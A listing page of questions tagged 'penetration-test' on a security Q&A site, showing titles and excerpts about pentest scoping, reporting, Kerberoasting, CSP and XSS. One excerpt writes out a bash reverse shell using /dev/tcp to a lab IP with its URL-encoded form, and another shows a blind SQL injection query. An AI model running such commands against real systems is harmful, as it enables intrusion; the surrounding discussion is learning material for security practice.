Questions tagged [penetration-test]

An attempt to penetrate a system's security in an effort to evaluate the protections in place.

Filter by
Sorted by
Tagged with
-1 votes
0 answers
33 views

Framework backdooring vulnerability in thick client applications [closed]

I am learning thick client pentesting. In "File Testing" category, we have a vulnerability called "Framework backdooring". I tried googling the term but could not find any useful ...
learningBOT's user avatar
0 votes
0 answers
21 views

What are some applications of automata theory and logical paradoxes on penetration testing and exploit discovery? [closed]

It was hard to find papers on the applications of logical paradoxes(such as how Turing's proof of the halting problem) or automata theory on penetration testing or exploit discovery. What are some ...
rasputin's user avatar
0 votes
0 answers
21 views

UNC Path Injection Testing over NAT

I am penetration tester. I am struggling to check for UNC path injections in the web apps because of the environment that I am in. I am conducting a pentest of a web app in my company's local network. ...
aXXo's user avatar
  • 1
2 votes
1 answer
256 views

How to report related findings in a pentest report

I am running a pentest on a web application, and I detected a vulnerability but I am not sure how to report it. I am confused if I should split it or document it as 1 finding. I will explain below. So ...
anonymous's user avatar
2 votes
2 answers
128 views

Can and should a penetration test report include an informational note about not having used a (by-design) memory-safe programming language?

Firstly, a quote from a good article about the importance of memory safety by memorysafety.org: How common are memory safety vulnerabilities? Extremely. A recent study found that 60-70% of ...
Bob Ortiz's user avatar
  • 6,665
0 votes
0 answers
142 views

How to pentest Blazor Server apps?

I am trying to pentest a blazor server app but its very different to a traditional web app, client communicates to server via SignalR through web-sockets. The messages in web-sockets are MessagePack ...
Cyber Soldier's user avatar
0 votes
1 answer
120 views

Conducting a proof-of-concept attack on an open MySQL port

I am not very experienced nor do I have acceptable knowledge, that is why I have signed up to work on a small project to gain some experience, where they don't seem to care about security much. After ...
KhodeNima's user avatar
  • 101
0 votes
0 answers
71 views

Impossible NTLMv2 hash format with Responder lm option

While doing an internal assessment, I stumbled upon a very weird looking NTLMv2 hash (I will not use the "Net-NTLM" terminology but I'm talking about the NTLM protocol ) while using ...
Joy's user avatar
  • 1
1 vote
1 answer
84 views

How secure is XScreenSaver against physical attacks

We use LUKS/dm-crypt encrypted workstations with long passwords. But if an laptop is unlocked and booted into Debian, using Xscreensaver then the disk is in an unencrypted state but the keyboard is ...
Ludwig Van Beethoven's user avatar
1 vote
1 answer
99 views

what's a small, medium, and large Scope in penetration testing? [closed]

I've been diving into the world of penetration testing regarding PM, and I'm curious about how you all define the scope of such tests. I often hear terms like "small scope," "medium ...
thearonimperial's user avatar
0 votes
0 answers
93 views

Advice on more in depth web app info gathering phase

I am a junior pentester currently working for a secure messaging app that includes a webclient. Only the subdomain is in scope and other subdomains are off-limits. Social engineering is also off ...
XyronZ's user avatar
  • 1
0 votes
0 answers
162 views

Bypassing AES encryption if the keys are not in local,but in server

When I conduct a mobile pentest, I have run into payload encryption in HTTP traffic. In general, the AES key and IV ( initialization vector) are located in APK, and can be used to encrypt the payload ...
Not a Salmon Fish's user avatar
0 votes
0 answers
69 views

Android Security Testing and Tools Clarifications

I'm new to cybersecurity and learning about pen testing Android security. I need tools for this. I found a website with a list of 75 tools (https://gbhackers.com/android-security-penetration-testing/)....
Luffy's user avatar
  • 1
0 votes
1 answer
99 views

In case of multiple websites using a single IP, and we have been asked to perform vulnerability assessment to ensure its security, how many to target

When doing black-box vulnerability assessment (with permission of course) of a subdomain of a website, the first step is enumeration; and the first step of that is finding IP of the subdomain. If you ...
Shy's user avatar
  • 121
0 votes
0 answers
70 views

Send powershell commands multiple users

My apologies if this is not the correct forum for this topic but needed to know, currently, what C2 platforms allow send commands to multiple clients at the same time. Thanks
stack_new_user's user avatar
1 vote
2 answers
116 views

Advantages of custom ports against cyberattacks [duplicate]

What would be the advantage of binding a common service to a custom port against cybersecurity attacks? For example I want to make it harder for a hacker to evaluate the attack surface on my server so ...
user228062's user avatar
0 votes
0 answers
57 views

Data integrity protection in Drupal 10.x - how lock conditions might fail

I was doing some pentesting on a Drupal 10.x application that some colleagues built; I have not reviewed the source code. The dynamic vulnerability scanner I use provoked some exceptions related to a ...
Keith Douglas's user avatar
2 votes
1 answer
331 views

How to Approach CVEs Marked as "DISPUTED" and "WON'T FIX" in PCI-DSS Pentest

When conducting penetration testing in a PCI-DSS compliance context, we found a known security vulnerability that's identified by a CVE number. In this case, the finding in question is CVE-2016-20012, ...
xpelican's user avatar
1 vote
1 answer
234 views

Interaction between sftp subsystem and forced command

I'm responding to a penetration test finding on one of my application servers. The finding is that the private key embedded in my client script is capable of being used to open an SFTP session to the ...
Mike McManus's user avatar
  • 1,355
0 votes
1 answer
439 views

Red Teaming methodologies focused on op-sec and stealth

We are in the process of developing a Red Teaming team to offer as a service, and one of the biggest obstacles we are struggling with is how to maintain a good op-sec and stealth during engagements. ...
TheMikina's user avatar
1 vote
1 answer
194 views

Next movement in IoT pentest when you have restricted information

I am a newbie cyber security engineer working on IoT. Today, a task is given to me. The task was making pentest to a cooker. Because of the privacy, I cannot share the brand of the cooker. The cooker ...
Not a Salmon Fish's user avatar
0 votes
0 answers
55 views

In what use case would Mutational and Feedback fuzzing be used in?

I am currently working on an assignment paper that asks how each type of fuzzing would work and in what use case they would be used. I defined Feedback as a tool that would throw inputs which would ...
Thanos's user avatar
  • 111
1 vote
2 answers
444 views

Full disk encryption with LUKS?

I encrypted my Ubuntu Desktop 20.04.3 with LVM/LUKS during the installation process. If I turn off the computer, is the brute force the only attack available for getting the password and accessing the ...
Chris Garcia's user avatar
2 votes
2 answers
1k views

Anonymous unasked bounty hunter wants bounty for found issues

A bounty hunter reached out to us to give us information about a security vulnerability in our company's information systems. In our estimation, the risk of exploitation for this vulnerability is ...
SirDeg's user avatar
  • 23
1 vote
1 answer
229 views

Dos and don'ts during a pentest [closed]

I will be attempting my first real pentest as a junior pentester in a company (not a CTF). It will be on a web app. For a first pentest do you think it is sufficient to just follow the OWASP Guide and ...
rudeus123's user avatar
0 votes
4 answers
1k views

Is Wifi Penetration Testing Dead?

"I hack your Wifi in 5 Minutes" still seems to be a hot topic on youtube in 2023, atleast on beginner channels like David Bombal. However, is there still any real world application? Even ...
breachr's user avatar
1 vote
0 answers
129 views

MobSF Android Activity APK Pentest

it is my first time with MobSF and Android APK assessment. I have found something while testing a specific APK and I am trying to understand the concept behind it: Under HARDCODED_SECRETS in MobSF, ...
Mr John's user avatar
  • 11
1 vote
0 answers
135 views

What are some effective strategies to pentest a native code library?

The vast majority of resources out there about penetration testing applications is about web and mobile applications; in some cases there are resources about so-called "native applications" ...
the_endian's user avatar
  • 1,169
1 vote
1 answer
116 views

What added value would an internal technical pentest have for a small barebones office with basic protections?

Assuming that a small office where basic security hygiene is already applied wants to improve their security posture, would such an office benefit from a technical internal pentest ? Such an office's ...
niilzon's user avatar
  • 1,629
1 vote
0 answers
91 views

How to inform the owner of a site about a vulnerability if there is no feedback form? [closed]

Recently, I noticed several resources that may be in danger, but I did not find a feedback form or email or another way to contact the owner and warn. How can I notify the owners? DoS seems to me a ...
dorianw91's user avatar
1 vote
1 answer
149 views

Impact of port scanning on the web domain itself

I was learning about port scanning and I understand, what, why and how. However, I do not understand why a Bug Bounty hunter or a penetration tester (strictly for web app assessment) would run a port ...
Just.a.tech's user avatar
12 votes
2 answers
4k views

In the RoE for a pentest, do you include a list of all tools?

As the title says, in the rules of engagement I have my scope, used method, etc. but I've been wondering if I should also include a list of tools (such as NMAP, Dirb/Ffuf, etc.) that might be used. ...
Bronur's user avatar
  • 123
1 vote
2 answers
937 views

Abusing Shell Feature for Privilege Escalation

This was covered in Linux PrivEsc, task 15, in this TryHackMe room. I am having trouble understanding how this debugging mode is executing the commands in the PS4 variable, and why I must put /usr/...
questioner's user avatar
1 vote
0 answers
90 views

Is there any guideline or procedure for 4G hardware equipement (4G landline phone and home Wifi router) security audit/assessment?

I need to perform a security audit/assessment on 4G LTE hardware equimements : 4G landline wireless phone (not android OS but with many features such as WiFi hotspot) 4G Wifi home router Is there ...
Jason Krs's user avatar
  • 379
0 votes
1 answer
251 views

Should a standard user in a AD domain be able to open cmd prompt as Administrator?

I was given a standard non-admin user and a workstation to perform internal pentest assessment. To my surprise, I was able to open cmd prompt as administrator, use psexec and gain a SYSTEM shell ...
sxmad's user avatar
  • 115
1 vote
1 answer
3k views

Run Responder using proxychains on a remote network

Is it possible to run Responder as a flag in the proxychains program when I do some penetration testing activities, such as nmap and crackmapexec in the enumeration process? Responder command example :...
steve m jorada's user avatar
-2 votes
1 answer
166 views

What are the official phases of penetration testing? [duplicate]

I tried to search for the phases of penetration testing, but I found lots of articles, and each article defines this in a different way, some have 5 phases, some 6, and others 7! What I am looking for ...
ethicalhacker's user avatar
0 votes
0 answers
468 views

Risk to perform a Penetration Testing in production environment

Let's say I have a web server exposed on Internet that deals with confidential data and it has high requirements in terms of integrity and availability. What are the risks to perform a penetration ...
DarkSkull's user avatar
  • 101
2 votes
1 answer
141 views

Defining scope of a software pen test

If I own a software and I want to conduct a pen test with pen testers, should I define the scope or do the pen testers assess the software first and they define the scope? How does scope definition ...
ethicalhacker's user avatar
0 votes
1 answer
761 views

Scanning for SMBGhost vulnerability

I am a university student currently trying to demonstrate exploitation of the SMBGhost Vulnerability on Windows 10 (Version: 1903, Build Number: 18362.356). I need to provide evidence that the ...
Mahin Chowdhury's user avatar
0 votes
1 answer
180 views

What is the wisdom of using the ASCII function in exploit SQLi?

I mean, I can exploit the vulnerability using a substring function and without using an ASCII function like: SELECT username FROM users WHERE id = 1 AND (SELECT substring(password,1,1) FROM users ...
Abdrrhmen's user avatar
0 votes
1 answer
1k views

TGS Ticket in Kerberoasting

In kerberoasting , User request service ticket for any service with registered SPN then use the ticket to crack service password. But in kerberoses authentication process , KRB_TGS_REQ request is ...
user10433098's user avatar
2 votes
2 answers
419 views

File inclusion exposed passwords

I am confused about LFI where I have seen many broken web-app demos demonstrate LFI where they traverse to a directory similar to /etc/passwd. How are these passwords being stored exactly? I do not ...
Krellex's user avatar
  • 197
2 votes
1 answer
173 views

Which CSP implementation is more secure?

While implementing CSP, there are two options. Implement CSP in the HTTP response header Implement CSP using a meta tag <meta http-equiv="Content-Security-Policy" content="default-...
Joel Deleep's user avatar
0 votes
1 answer
171 views

Is this CSP implementation is secure?

I face a CSP header something like this - default-src https:; font-src https: data:; img-src https: data:; script-src https: 'unsafe-inline' 'unsafe-eval'; style-src https: 'unsafe-inline'; So is this ...
Cloud Learner's user avatar
0 votes
1 answer
481 views

Detecting XSS when Payload is only Triggered on Another Page

I am trying to detect the presence of a blind/stored XSS vulnerability of an input field. The vulnerability does not trigger on page 'A' where the payload is injected. It is likely due to the fact ...
Seng Wee's user avatar
  • 101
0 votes
0 answers
232 views

sh reverse shell used to work as of an hour ago but nowthe server returns 500 Internal Server Error. Please take a look at my GET request and response

This is the reverse shell I'm using: sh -i >& /dev/tcp/10.10.14.106/3000 0>&1 and URL encoded is sh+-i+>%26+/dev/tcp/10.10.XX.XX/3000+0>%261+ It used to work just fine and I'd ...
nullbyte's user avatar
0 votes
1 answer
159 views

Benefits of same origin policy

I am trying to understand what does SOP mean? If there are two sites such as example1.com and examole2.com what are the dangers can one of them cause to the other? Like stealing what, received what?...
Ali Maher 's user avatar
0 votes
1 answer
610 views

Some introductory reverse engineering help on finding a string

I understand the crackme I am researching is from 2007, however this was the point in my life when I initially became interested in reverse engineering and wish to complete it for nostalgia sake. ...
questioner's user avatar
0 votes
1 answer
634 views

Verifying IP addresses during pentest

When conducting an external pentest and the scope is broad covering everything owned by the client, how would you verify if the enumerated IP addresses belong to a client? Running 'nslookup' on the IP ...
synthesis's user avatar
  • 155

1
2 3 4 5
26